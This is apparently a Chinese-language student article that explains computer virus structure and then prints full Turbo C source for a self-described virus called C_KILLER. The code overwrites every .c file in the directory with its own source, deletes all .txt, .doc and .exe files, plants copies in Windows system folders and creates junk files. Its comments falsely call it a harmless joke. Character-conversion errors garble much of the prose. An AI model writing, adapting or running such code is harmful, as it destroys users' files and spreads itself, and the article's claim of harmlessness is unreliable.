[摘要]在分析病毒機理的基礎上,用C語言寫了一個小病毒做爲實例,用TURBOC2.0實現.html
[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.編程
1、什麼是病毒
惡意軟件多是第一個對咱們產生影響的計算機安全問題.因此病毒在信息安全中是很重要的.
咱們要對付病毒,就要了解病毒.
寫一些病毒是一個很好的辦法.
若是要寫一個病毒,先要知道它是什麼.能夠給病毒一個定義,這必定義是被普遍承認的。Frederic Cohen博士在《計算機病毒簡短講座》中提到的:
「……一種可以經過修改自身來包括或釋放自我拷貝而傳染給其餘程序的程序。「
其實病毒和普通程序並沒有太大不一樣,並且一般比較簡單,不像不少程序那樣複雜。只不過病毒裏面用到一些正常程序通常不會用到的技術。
要編制一個病毒,首先要知道病毒的運行機理。
不管是何種病毒,它通常在結構上分爲三個功能模塊:感染機制,觸發機制和有效載荷。
在病毒結構中,首要的並且惟一必需的部分是感染機制。病毒首先必須是可以繁殖自身的代碼,這是病毒之因此成爲病毒的根本
緣由。咱們能夠用一段類C僞碼來表示這個過程。
- InfectSection()
- {
- if (infectable_object_found
- &&object_not_already_infect)
- infect_object;
- }
病毒的第二個主要構成部分是有效載荷觸發事件.一個病毒來到你的電腦後,不大可能當即發做,不然它不會被傳播得很遠.潛伏的敵人永遠要比能見到的敵人危險得多.病毒通常是在找到必定數量的感染體,某一日期或時間,某一段文本後觸發.
一個簡單的觸發機制多是這樣工做的:
- TriggerSection()
- {
- if (date_is_Friday_13th_and_time_is_03:13:13)
- set_trigger_status_to_yes;
- }
有效載荷就是病毒用來騷擾你的電腦的方法,有觸發機制的病毒通常也有有效載荷。它能夠是任意的給你發一條一次性簡單的愚弄信息,從新格式化你的磁盤,把它本身郵給你的E_mail通訊者均可以成爲有效的負荷。簡單的有效負荷能夠以下進行:
- Executesection()
- {
- if (trigger_statue_is_yes)
- execute_payload;
- }
2、 編制病毒的語言
最多見的編制病毒的語言有彙編語言、VB、C 語言等,咱們能夠來看一看一個有名的病毒論壇上認爲學寫病毒要掌握的基礎:
1).Win32編程,進程,線程,內存,等等。
2).32位彙編,以指令用法爲主。386彙編就比較夠用了。
3).PE格式,有精力還能夠看一下其它可能被感染的文件的文件格式。
4).調試技術。VC,TD32,SoftIce,等等。
要掌握的東西確實不少,還多聽都沒聽過,很嚇人.但實際上,即便咱們對計算機的原理和操做系統不很瞭解,並且不熟悉除C
之外的其餘語言,只要咱們對C的庫函數有必定了解,就能夠寫一些相似病毒的東西.
三 用C編制病毒
以TurboC2.0爲例.它的庫函數能夠實現不少功能.
如如下兩個函數:
1).findfirst和findnext函數:在
dir.h。findfirst用來找各類類型的文件,能夠獲得文件名文件長度,文件屬性等,findnext和findfirst配合使用,用來找到下一個同類型的文件。
2).remove函數:在st
dio.h.只要知道文件名,能夠刪除任意類型的文件.
四 我寫的C病毒
<<計算機病毒解密>>上有一句比較經典的話,"或許把惡意軟件形成的損害說成是心理上的損害可能會更恰當一些".從這個意義上說,個人病毒是很是典型的病毒.
下面是我寫的病毒.
它主要由四個模塊組成.
RubbishMaker()可用來在當前目錄下生成大量隨機命名的垃圾文件.
CreatEXE()將在C盤的敏感地方放置幾個.exe垃圾,它們要隱蔽一些。
Remove()會刪掉你的一些東西,因此千萬不要隨便運行這個程序.
Breed()是C_KILLER的精華所在,它將kill全部的c程序,並利用它們繁殖自身.
前三個是有效負載.
第四個能夠說是它的感染機制.
- /**********************************
- IN FACT,IT"S NOT A VIRYUS AT ALL.
- **********************************/
- #include <io.h>
- #include <dir.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- /* copy outfile to infile */
- void copyfile(char *infile, char *outfile)
- {
- FILE *in,*out;
- in = fopen(infile,"r");
- out = fopen(outfile,"w");
- while (!feof(in))
- {
- fputc(fgetc(in),out);
- }
- fclose(in);
- fclose(out);
- }
- /*
- This function named Rubbishmaker.
- */
- void MakeRubbish()
- {
- int i;
- FILE *fp;
- char *path;
- char *NewName;
- char *disk[7] = {"A","B","C","D","E","F","G"};
- char *addtion = "://";
- /* Make some rubbish at the current catalogue */
- for (i = 0; i<5; i++)
- {
- char tempname[] = "XXXXXX" ;
- NewName = mktemp(tempname);
- fp = fopen(NewName,"w");
- fclose(fp);
- }
- /* make some rubbish at the root catalogue */
- path = strcat(disk[getdisk()],addtion); /* get the root catalogue */
- chdir(path); /*change directory according to the "path" */
- for (i = 0; i<5; i++)
- {
- char tempname[] = "XXXXXX";
- NewName = mktemp(tempname);
- fp = fopen(NewName,"w");
- fclose(fp);
- }
- }
- /*
- This function can creat some .exe or .com documents in the sensitive place.
- Don't worry,It's only a joke.It will do no harm to your computer.
- */
- void CreatEXE()
- {
- int i;
- char *path;
- char *s[2] = {"C://WINDOWS//system32//loveworm.exe","C://WINDOWS//virusssss.com"};
- for ( i = 0; i <2; i++)
- {
- open(s[i], 0x0100,0x0080);
- copyfile( "C_KILLER.C",s[i]);
- }
- }
- /* remove something from your computer */
- void Remove()
- {
- int done;
- int i;
- struct ffblk ffblk;
- char *documenttype[3] = {"*.txt","*.doc","*.exe"};
- for (i = 0; i <3; i++)
- {
- done = findfirst(documenttype[i],&ffblk,2);
- while (!done)
- {
- remove(ffblk.ff_name);
- done = findnext(&ffblk);
- }
- }
- }
- /* overlay the c programs */
- void Breed()
- {
- int done;
- struct ffblk ffblk;
- done = findfirst("*.c",&ffblk,2);
- while (!done)
- {
- if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
- {
- copyfile("C_KILLER.C",ffblk.ff_name);
- }
- done = findnext(&ffblk);
- }
- }
- void main()
- {
- printf("THERE IS A VIRUS BY XIAOKE./n/n");
- Breed();
- Remove();
- CreatEXE();
- printf("COULD YOU TELL ME YOUR NAME?/n/n");
- printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!/n/n");
- MakeRubbish();
- getchar();
- printf("IT'S ONLY A JOKE! THANK YOU!/n/n");
- clrscr();
- system("cmd");
- }